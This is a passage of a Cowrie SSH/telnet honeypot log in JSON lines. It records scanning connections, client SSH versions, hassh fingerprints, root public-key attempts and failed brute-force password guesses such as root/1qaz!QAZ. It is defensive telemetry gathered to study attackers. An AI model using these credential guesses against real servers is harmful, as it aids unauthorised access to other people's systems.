h.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:27.970132Z","src_ip":"189.46.1.73","session":"1e5b2bebe2e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123","message":"login attempt [ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:28.638792Z","src_ip":"189.46.1.73","session":"1e5b2bebe2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:29.830896Z","src_ip":"189.46.1.73","session":"1e5b2bebe2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21232,"dst_ip":"10.17.0.5","dst_port":23,"session":"946e7c8ebe50","protocol":"telnet","message":"New connection: 212.55.149.117:21232 (10.17.0.5:23) [session: 946e7c8ebe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:50.732979Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51988,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cadb3f3e865","protocol":"telnet","message":"New connection: 212.55.149.117:51988 (10.17.0.5:23) [session: 8cadb3f3e865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:56.629166Z"}
{"eventid":"cowrie.session.closed","duration":59.66991066932678,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:03.014778Z","src_ip":"212.55.149.117","session":"202815c0d56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54560,"dst_ip":"10.17.0.5","dst_port":22,"session":"9736d129952b","protocol":"ssh","message":"New connection: 103.15.226.202:54560 (10.17.0.5:22) [session: 9736d129952b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:52.410778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:52.416085Z","src_ip":"103.15.226.202","session":"9736d129952b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:52.661547Z","src_ip":"103.15.226.202","session":"9736d129952b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.57635760307312,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:53.309242Z","src_ip":"212.55.149.117","session":"946e7c8ebe50","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:53.407781Z","src_ip":"103.15.226.202","session":"9736d129952b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:20:54.656494Z","src_ip":"103.15.226.202","session":"9736d129952b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.194.108.131","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a4e3efddb8d","protocol":"telnet","message":"New connection: 168.194.108.131:48540 (159.203.135.109:23) [session: 9a4e3efddb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:21:08.677745Z"}
{"eventid":"cowrie.session.closed","duration":13.82762598991394,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:21:22.505293Z","src_ip":"168.194.108.131","session":"9a4e3efddb8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00545620918274,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:21:56.634479Z","src_ip":"212.55.149.117","session":"8cadb3f3e865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17008,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e5291e62e08","protocol":"ssh","message":"New connection: 194.59.206.2:17008 (159.203.135.109:22) [session: 2e5291e62e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:17.978585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:17.983962Z","src_ip":"194.59.206.2","session":"2e5291e62e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:18.113000Z","src_ip":"194.59.206.2","session":"2e5291e62e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:18.213101Z","src_ip":"194.59.206.2","session":"2e5291e62e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.58.76.246","src_port":56650,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac05fc509abd","protocol":"telnet","message":"New connection: 38.58.76.246:56650 (10.17.0.5:23) [session: ac05fc509abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:23.337166Z"}
{"eventid":"cowrie.session.closed","duration":12.263032674789429,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:35.600086Z","src_ip":"38.58.76.246","session":"ac05fc509abd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.204.1.76","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d3d5ebd65b","protocol":"ssh","message":"New connection: 185.204.1.76:60730 (10.17.0.5:22) [session: d6d3d5ebd65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:50.357880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:50.362852Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:50.471373Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:31:e5:1b:39:13:eb:4e:eb:a4:07:74:6e:6d:5b:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA9qfj1Uu+DstwUiT8JH+R91unKkIYnoCTmqumSo4Tog+1xPoHo09ZzMIhSArGufTMfUBMswZt+laW1E5z7d1z035QVb+4uUMNWlWB9t4PYjW2HxwWPtDR4hlpmee523M+PmTKEaJVgw0GrJxVRMGkIKrCCFzDnq0DFZECif1uNKxPbf96otNADJ1OilkE1+8iFfXyX+tXoBEc2gtPmkAC06J0Eioo7sQ4xFz+LJ6tM9TbGIyGpGgYhHEfx2LcT4VGOr+PuVZyLYf5vt8KNrmP3af2DRBmzWY8HuDMV65wjSyCXDGLLum/jHPPTD3ovlXkGl/Wwun6D85DX0ftBOBL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:31:e5:1b:39:13:eb:4e:eb:a4:07:74:6e:6d:5b:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:50.977911Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:31:e5:1b:39:13:eb:4e:eb:a4:07:74:6e:6d:5b:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA9qfj1Uu+DstwUiT8JH+R91unKkIYnoCTmqumSo4Tog+1xPoHo09ZzMIhSArGufTMfUBMswZt+laW1E5z7d1z035QVb+4uUMNWlWB9t4PYjW2HxwWPtDR4hlpmee523M+PmTKEaJVgw0GrJxVRMGkIKrCCFzDnq0DFZECif1uNKxPbf96otNADJ1OilkE1+8iFfXyX+tXoBEc2gtPmkAC06J0Eioo7sQ4xFz+LJ6tM9TbGIyGpGgYhHEfx2LcT4VGOr+PuVZyLYf5vt8KNrmP3af2DRBmzWY8HuDMV65wjSyCXDGLLum/jHPPTD3ovlXkGl/Wwun6D85DX0ftBOBL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:50.981978Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:d3:ea:9e:9e:94:f5:4c:e4:cb:d9:c0:5c:80:86:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2kHXmfofkcG+kh/q9O93grCnb9CwDZsrWQYsuGO6dUnvq+PwD4ywIzmqQ44WFASxtE03RynQqOnu2JvTGtpYGF6UsHEHBzPU3ApCSlvDf5ChbV+GLO7sspWdiKtMYCmO9WxANFLROgycJRgtnuHAiwdKrvvmsLyWOsVr+LAGXUulUGcG/+UmWitpZYfjf7boUC2QN19DKnrFhdBl9f4G0bJnV34jD0gFyby8falJyYAOriwmAnSVSLGtNoSyOuQ2GLFaiimvB6LaBxAJ9qMiWO0b2wS3YfAB9p9cLl1nyJuCkU/l4VyknKZI3F4CBNMdRPCDDfPUY4Xvospu2WZgLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:d3:ea:9e:9e:94:f5:4c:e4:cb:d9:c0:5c:80:86:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.088711Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:d3:ea:9e:9e:94:f5:4c:e4:cb:d9:c0:5c:80:86:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2kHXmfofkcG+kh/q9O93grCnb9CwDZsrWQYsuGO6dUnvq+PwD4ywIzmqQ44WFASxtE03RynQqOnu2JvTGtpYGF6UsHEHBzPU3ApCSlvDf5ChbV+GLO7sspWdiKtMYCmO9WxANFLROgycJRgtnuHAiwdKrvvmsLyWOsVr+LAGXUulUGcG/+UmWitpZYfjf7boUC2QN19DKnrFhdBl9f4G0bJnV34jD0gFyby8falJyYAOriwmAnSVSLGtNoSyOuQ2GLFaiimvB6LaBxAJ9qMiWO0b2wS3YfAB9p9cLl1nyJuCkU/l4VyknKZI3F4CBNMdRPCDDfPUY4Xvospu2WZgLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.092581Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:3e:1b:36:6f:be:ba:32:d0:ec:a5:28:8a:10:61:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzPgCrT6HQOzYstG8tENQxSSHztAJNLQGADurIY4hxK/GMasQbxEd0uuqBDKff8KM5F9wofyTUy8hUF1yNjbScQnbLQ4mZh6ggfOXasZra8MwD1YpJQuP0OhQO9v4YsQCzbZIqe+1WwNiUgmJ5lULe4BJKsxS+RXuHFvzGBSV1Hv95AwHA/7GbvTrq1XUpMjSHaBqg/we7FM+tjRNejSux3t3S2iEm2VjA9NSXDuykCuhfznfV13Rh7rhc9Hm0incXitquv8e6KGlxFulVKuiJ7rzJPSe4+eQi7jzcwjbBPHlC7cCIgCwsS4D7fhCBnwH+WNNZiFUGRaWeWFSPa1J7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:3e:1b:36:6f:be:ba:32:d0:ec:a5:28:8a:10:61:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.198588Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:3e:1b:36:6f:be:ba:32:d0:ec:a5:28:8a:10:61:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzPgCrT6HQOzYstG8tENQxSSHztAJNLQGADurIY4hxK/GMasQbxEd0uuqBDKff8KM5F9wofyTUy8hUF1yNjbScQnbLQ4mZh6ggfOXasZra8MwD1YpJQuP0OhQO9v4YsQCzbZIqe+1WwNiUgmJ5lULe4BJKsxS+RXuHFvzGBSV1Hv95AwHA/7GbvTrq1XUpMjSHaBqg/we7FM+tjRNejSux3t3S2iEm2VjA9NSXDuykCuhfznfV13Rh7rhc9Hm0incXitquv8e6KGlxFulVKuiJ7rzJPSe4+eQi7jzcwjbBPHlC7cCIgCwsS4D7fhCBnwH+WNNZiFUGRaWeWFSPa1J7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.202665Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:75:86:ef:52:ef:a9:28:d9:15:8d:96:cf:73:c1:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcUFJ6pG1Z2JXU2xpPJDTkIwOHk1/AgkoCAI3TjqgAhZ39eGWz6rtwdMOThMDxD5I3lx/FYyUzig3/+qjizzfqt4/y9XVItZf5wbKBYezzCxb0vGAK3nyQAdr0zUQ7dtCDQhT1UElTSJU7r0X6cScFqzC/KPm6yet5csBbWnYZB1FR0XKU5NI84de9ofPELmylvjCYinNz5z0BD3KjKjaydONlwbqDM78REO7R62Kt3orvVfEIn5PAIFz2SwqFMHdeDgWS0Pgj3ca/YXeAQ87zQDFkv44KSwSz++GSBhHh24nRXS+lPHz+WgAl1Pcapf7r972NXL8FJBVR1HJnt5VGtKStqDyfBC9a3inNl4Tzo775ZBdv3Od9JB+QSFdZWZSqHxTlgB2uAIC+0ELM9sldqvCY+wkc/JZ0OgvdhBXBw+zjMl18oGEhrq2ay8F2kllufzE7ovb5z4ksOsQfchJ23yPcNlIZ+ynquyQkzX+5w1gbn1+F4sw9i64+b055L+c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:75:86:ef:52:ef:a9:28:d9:15:8d:96:cf:73:c1:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.309504Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:75:86:ef:52:ef:a9:28:d9:15:8d:96:cf:73:c1:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcUFJ6pG1Z2JXU2xpPJDTkIwOHk1/AgkoCAI3TjqgAhZ39eGWz6rtwdMOThMDxD5I3lx/FYyUzig3/+qjizzfqt4/y9XVItZf5wbKBYezzCxb0vGAK3nyQAdr0zUQ7dtCDQhT1UElTSJU7r0X6cScFqzC/KPm6yet5csBbWnYZB1FR0XKU5NI84de9ofPELmylvjCYinNz5z0BD3KjKjaydONlwbqDM78REO7R62Kt3orvVfEIn5PAIFz2SwqFMHdeDgWS0Pgj3ca/YXeAQ87zQDFkv44KSwSz++GSBhHh24nRXS+lPHz+WgAl1Pcapf7r972NXL8FJBVR1HJnt5VGtKStqDyfBC9a3inNl4Tzo775ZBdv3Od9JB+QSFdZWZSqHxTlgB2uAIC+0ELM9sldqvCY+wkc/JZ0OgvdhBXBw+zjMl18oGEhrq2ay8F2kllufzE7ovb5z4ksOsQfchJ23yPcNlIZ+ynquyQkzX+5w1gbn1+F4sw9i64+b055L+c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.313608Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:53:97:0b:78:cb:69:3b:0a:de:57:df:db:a9:be:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuWMCtQ2pyuPOs/0TyVlENH+4p9AkMDChyQd5iqvC4io68aCYqPYr0FQOnnKTzMnXSTfDTMIVuB3t8d505e9kQXZWYEiDIntVVovw/0m+4lg2VH3tfrx82h3CBOJvUkhayrbccsRRzY/BeaOxCNejMPEqRGsNznVaT5E+O4at1+2tXAGKXdccovSK7ho+E/iKfNRESozm//zjK3vP1azzarbZ9YB6HK1PHAXknw6GY+SBh0NZk5S0wF/ayRJDRypO5TMCKNumfrEK/v29UuNyF6s4z9xBHBLdT5x7YNhi0gUjCLoc0yb3grQjIu+kbkYaucFcPMCyqR26b1zCcca9/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:53:97:0b:78:cb:69:3b:0a:de:57:df:db:a9:be:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.423018Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:53:97:0b:78:cb:69:3b:0a:de:57:df:db:a9:be:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuWMCtQ2pyuPOs/0TyVlENH+4p9AkMDChyQd5iqvC4io68aCYqPYr0FQOnnKTzMnXSTfDTMIVuB3t8d505e9kQXZWYEiDIntVVovw/0m+4lg2VH3tfrx82h3CBOJvUkhayrbccsRRzY/BeaOxCNejMPEqRGsNznVaT5E+O4at1+2tXAGKXdccovSK7ho+E/iKfNRESozm//zjK3vP1azzarbZ9YB6HK1PHAXknw6GY+SBh0NZk5S0wF/ayRJDRypO5TMCKNumfrEK/v29UuNyF6s4z9xBHBLdT5x7YNhi0gUjCLoc0yb3grQjIu+kbkYaucFcPMCyqR26b1zCcca9/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.427187Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:22:51.534043Z","src_ip":"185.204.1.76","session":"d6d3d5ebd65b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.181.228.82","src_port":40020,"dst_ip":"10.17.0.5","dst_port":22,"session":"b841199c4d09","protocol":"ssh","message":"New connection: 107.181.228.82:40020 (10.17.0.5:22) [session: b841199c4d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.005931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.011326Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@ope